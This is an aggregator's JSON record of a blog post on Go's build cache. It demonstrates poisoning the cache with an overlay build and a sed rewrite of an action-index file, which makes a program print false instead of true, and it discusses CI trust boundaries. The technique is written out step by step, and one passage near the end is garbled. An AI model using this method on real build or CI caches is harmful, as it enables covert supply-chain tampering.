{"slug": "poisoning-a-go-cache", "title": "Poisoning a Go Cache", "summary": "A blog post by Lukas Schwab demonstrates that Go's build cache ($GOCACHE) can be poisoned to reverse a program's behavior without changing its source code, using a minimal demo module where `println(truthy.Value())` prints `false` instead of `true`. The post explains that the cache stores content-addressed `-d` data files, whose filenames are the SHA-256 sum of their contents, alongside `-a` action files that map action IDs to outputs. The demonstration follows an earlier CloudX post on scaling Go CI by replacing `actions/setup-go`.", "body_md": "Earlier this month I explained Go’s caches in a post I coauthored for\nCloudX, [‘Scaling Golang\nCI by Replacing `actions/setup-go`.’](https://www.cloudx.ai/posts/setup-go) If you run Go in\nGitHub Actions, the post deserves a read (and\n`cloudx-io/setup-go` deserves your consideration). If you\njust want to learn more about Go caches without thinking about GitHub,\nthis post is for you.\n\nYour Go cache (`$GOCACHE`) is a directory of files mapping\n“action IDs” — hashes representing an atomic part of a request, such as\na build — to corresponding outputs. At CloudX we use this understanding\nto make our engineers more effective, but you can use the same\nunderstanding to do surprising, stupid, pathological things instead.\n\nThis post will explore your Go cache’s structure in greater depth by\ndemonstrating [cache\npoisoning](https://en.wikipedia.org/wiki/Cache_poisoning): we can change the behavior of a Go program by\nmanipulating the cache, even without changing the program’s source\ncode.\n\nWe’ll use an absolutely minimal demo project, but the same principles apply to much more complex Go modules. Our demo is a simple Go module:\n\nIt contains a minimal `go.mod`:\n\n```\nmodule github.com/lukasschwab/demo\n\ngo 1.27\n```\n\nIt contains a target package `truthy`, which just provides\nthe boolean value `true`:\n\n```\npackage truthy\n\nfunc Value() bool { return true }\n```\n\nFinally, it contains an entry-point in `main.go` for\ndemonstration purposes:\n\n```\npackage main\n\nimport \"github.com/lukasschwab/demo/truthy\"\n\nfunc main() {\n    println(truthy.Value())\n}\n```\n\nWhat happens if you run `main.go`? Exactly what you’d\nexpect:\n\n``` bash\n$ go run main.go\ntrue\n```\n\nWell, that’s what it does *if nobody has poisoned your Go\ncache.* Without changing this source code in any way, we can reverse\nthe program’s behavior: `println(truthy.Value())` will print\n`false`!\n\nFirst, observe the cache contents. The Go toolchain populates the\ncache once, then reuses the cache contents for later requests. We’ll\npoison the cached artifacts for package `truthy`; let’s start\nby building it with an isolated cache so we can inspect these\nartifacts.\n\n``` bash\n$ GOCACHE=\"/demo/cache\" go build ./truthy\n$ tree --prune /demo/cache\n/demo/cache\n├── 25\n│   └── 25b28cbb223b28161c768050739328f6f0fdc5e83a2618046ff89448f3a6c708-d\n├── 2f\n│   └── 2f8abba195240b3d4e97965b71d12242740c4bae769f56618902ca1cb8e45c17-d\n├── 56\n│   └── 56394f70c8c6d21aa0d64a9ab4c8dec7cd2f2f864a9577baf5d5eceafd1d76c6-a\n├── 7a\n│   └── 7ad9f061c611f521651194d122993f9a9226f606e05e76ac0e1eafe161ec1091-d\n├── 9b\n│   └── 9b6e194bae01948fba16d0d48981c453d8ce937c45333f1888348f6ec67efdf6-a\n├── ac\n│   └── ac9c6630f8e0cb23af031113e331e8a2c5ff0ed127b536593c2e7abe3c055d43-a\n├── c2\n│   └── c22e5acea0c87a8cdbc9eb8d5195bde41f2bb41605c29622c82b6cee553f6b38-a\n├── e3\n│   └── e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855-d\n├── README\n└── trim.txt\n```\n\nThere are two kinds of files in the cache, distinguished by suffix:\n`-d` and `-a`.\n\n`-d` files are *data;* the whole point of the cache\nis to make these outputs reusable. Specifically, in our example these\nare package archives: portable, intermediate build artifacts that can be\nlinked together into executable binaries. These files are\ncontent-addressed — the filename is always the SHA-256 sum of the file\ncontents:\n\n``` bash\n$ sha256sum demo/cache/e3/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855-d\ne3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  /demo/cache/e3/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855-d\n```\n\nContent-addressing data this way compacts the cache. We could have\nseven independent packages that all depend on package\n`truthy`; if they share a Go cache, it will only store\npackage `truthy`’s data once.\n\nTaken alone, these `-d` files are opaque. (To derive the\nfilename you want to restore, you need to compute the file contents;\nthat defeats the purpose of caching them!) This is where the\n`-a` files come in: these are *action indexes,* and\nthey map action identifiers — hashes of user inputs, including source\ncode, flags, dependencies, and environment variables — to the\ncorresponding package archives.\n\nEach `-a` file contains a single line with five\nwhitespace-separated values. Take a peek inside one of the action\nindexes for package `truthy`, `56394f7…-a`:\n\n| Value | Meaning | \n|---|---|\n| `v1` | Format version — always `v1` for now. | \n| `56394f7…` | The action identifier, matching this `-a` filename. | \n| `2f8abba…` | The output identifier, pointing to a `2f8abba…-d` data file in the cache. | \n| `2218` | Size of the `2f8abba…-d` data file in bytes. | \n| `1790143015118664000` | Unix timestamp for this action index (nanoseconds). | \n\nThe build cache saves time because action IDs are much cheaper to\ncalculate than the package archives stored in data files. To use the\ncache, the Go toolchain calculates an action ID and checks if it’s\npresent in the cache. If there’s a corresponding `-a` file,\nGo follows the pointer to the `-d` data and reuses it — job\ndone. Otherwise, it proceeds to build the package archive (expedited by\ncache checks deeper in the build tree) before stashing the final data in\na `-d`- and `-a`-file pair.\n\nTo poison our program’s behavior, we need to intercept this\ncache-lookup process. Specifically, we can find the true action ID for\nthe `truthy` package build, but rewrite its `-a`\nfile to point at a poisonous new `-d` package archive.\n\nTo get the action ID for package `truthy`, work backwards:\nuse `go list` to find its package archive, then find the\naction index file pointing at it.\n\n``` bash\n# Find the final package archive data for package truthy.\n$ GOCACHE=\"/demo/cache\" go list -export -f '{{.Export}}' ./truthy\n/demo/cache/2f/2f8abba195240b3d4e97965b71d12242740c4bae769f56618902ca1cb8e45c17-d\n\n# Use that hash to find the corresponding action index.\n$ grep -l \"2f8abba195240b3d4e97965b71d12242740c4bae769f56618902ca1cb8e45c17\" \\\n    /demo/cache/**/*-a\ncache/56/56394f70c8c6d21aa0d64a9ab4c8dec7cd2f2f864a9577baf5d5eceafd1d76c6-a\n```\n\nThe other files in the cache, under other hashes, represent other\nintermediates in the `go build` process. In theory those\ncould also be targets for poisoning, but for the purposes of this demo\nthey’re superfluous.\n\nDefine a poison file with exactly the same public interface as\n`truthy.go`. Sharing this external interface ensures the\npoison package archive will link into the same binaries the target\n`truthy` package would.\n\n```\npackage truthy\n\nfunc Value() bool { return false }\n```\n\nWe also need Go to build our poison package archive as if it\ncorresponded to `/demo/truthy` rather than\n`/demo/poison`. To do this, we use a go tool feature called\n“overlays.” Anytime the Go build tools would read\n`truthy/truthy.go`, this overlay replaces that with a read of\n`poison/truthy.go`:\n\n```\n{\n    \"Replace\": {\n        \"/demo/truthy/truthy.go\": \"demo/poison/truthy.go\"\n    }\n}\n```\n\nSo now, when we build package `truthy` with that overlay,\nwe’ll write a poisoned package archive into the cache:\n\n``` bash\n$ GOCACHE=\"/demo/cache\" go list -overlay overlay.json -export -f '{{.Export}}' \\\n    ./truthy\n/demo/cache/2d/2dbc3cb27e5eb61aa8267224780ecf293e31ecedc587ba0752ed07d6334abf2e-d\n```\n\nThe last step is to update the `-a` package index we\nidentified for `truthy` earlier with a reference to this\npoisoned package archive: replace the healthy hash `2f8abba…`\nwith the poisoned hash `2dbc3cb…` and update the stored data\nfile size to match (in this case, it’s unchanged).\n\n``` bash\n$ cat cache/56/56394f70c8c6d21aa0d64a9ab4c8dec7cd2f2f864a9577baf5d5eceafd1d76c6-a\nv1 56394f70c8c6d21aa0d64a9ab4c8dec7cd2f2f864a9577baf5d5eceafd1d76c6 2f8abba195240b3d4e97965b71d12242740c4bae769f56618902ca1cb8e45c17                 2218  1790143015118664000\n\n# Rewrite the healthy output identifier with our poisoned output identifier.\n$ sed -i '' 's/2f8abba195240b3d4e97965b71d12242740c4bae769f56618902ca1cb8e45c17/2dbc3cb27e5eb61aa8267224780ecf293e31ecedc587ba0752ed07d6334abf2e/g' cache/56/56394f70c8c6d21aa0d64a9ab4c8dec7cd2f2f864a9577baf5d5eceafd1d76c6-a\n$ cat cache/56/56394f70c8c6d21aa0d64a9ab4c8dec7cd2f2f864a9577baf5d5eceafd1d76c6-a\nv1 56394f70c8c6d21aa0d64a9ab4c8dec7cd2f2f864a9577baf5d5eceafd1d76c6 2dbc3cb27e5eb61aa8267224780ecf293e31ecedc587ba0752ed07d6334abf2e                 2218  1790143015118664000\n```\n\nNow running our entry-point script triggers a build that blithely uses the poisoned package archive:\n\n``` bash\n# We've already poisoned the cache, so we can delete the source files.\n$ rm -rf ./poison\n\n# The source code calls ./truthy, but this run exhibits poisoned behavior!\n$ GOCACHE=\"/demo/cache\" go run main.go\nfalse\n```\n\nOf course, this example is contrived. Cache poisoning *in\nanger* would look very different:\n\n`truthy`, replacing common dependencies like the Go standard\nlibrary’s `crypto` with malicious alternates.`go list`\ncache inspections we did here can be precomputed for common OS\narchitectures, Go versions, etc. Aside from those parameters, nothing\nabout your Go cache is unique to your device.\nAn adversary with write access to files on your machine has better things to do than tamper with your Go cache — by rational choice, they’ll steal your secret keys instead.\n\nCache poisoning is a more pressing concern when it smuggles logic\nover a trust boundary. That’s why GitHub’s Actions cache allows\nnon-default branches to read cache entries produced by the default, but\nprevents the default from ever loading a cache entry produced by a\nnon-default branch: an untrusted PR could poison the Actions cache with\na package archive that steals credentials when executed in the\nprivileged default-branch context. If you’ve ever wondered why your Go\ntests always re-execute on `main` even though they just\npassed in your PR checks, now you know!\n\nI’d have a hard time spotting cache poisoning in CI. You could push code to a PR that poisons the cache, then force-push to eliminate that commit. Even though it the poisoning code won’t appear in the commit history, later CI runs will blithely use the malicious records.\n\nIf you can’t trust *everything* with access to your build\ncache, you can’t trust the builds downstream.", "url": "https://wpnews.pro/news/poisoning-a-go-cache", "canonical_source": "https://lukasschwab.me/blog/gen/poisoning-go-cache.html", "published_at": "2026-09-27 09:57:23+00:00", "updated_at": "2026-09-27 10:31:13.862432+00:00", "lang": "en", "topics": ["developer-tools"], "entities": ["Go", "Lukas Schwab", "CloudX", "GitHub Actions", "actions/setup-go", "cloudx-io/setup-go", "$GOCACHE"], "also_reported_by": [], "alternates": {"html": "https://wpnews.pro/news/poisoning-a-go-cache", "markdown": "https://wpnews.pro/news/poisoning-a-go-cache.md", "text": "https://wpnews.pro/news/poisoning-a-go-cache.txt", "jsonld": "https://wpnews.pro/news/poisoning-a-go-cache.jsonld"}}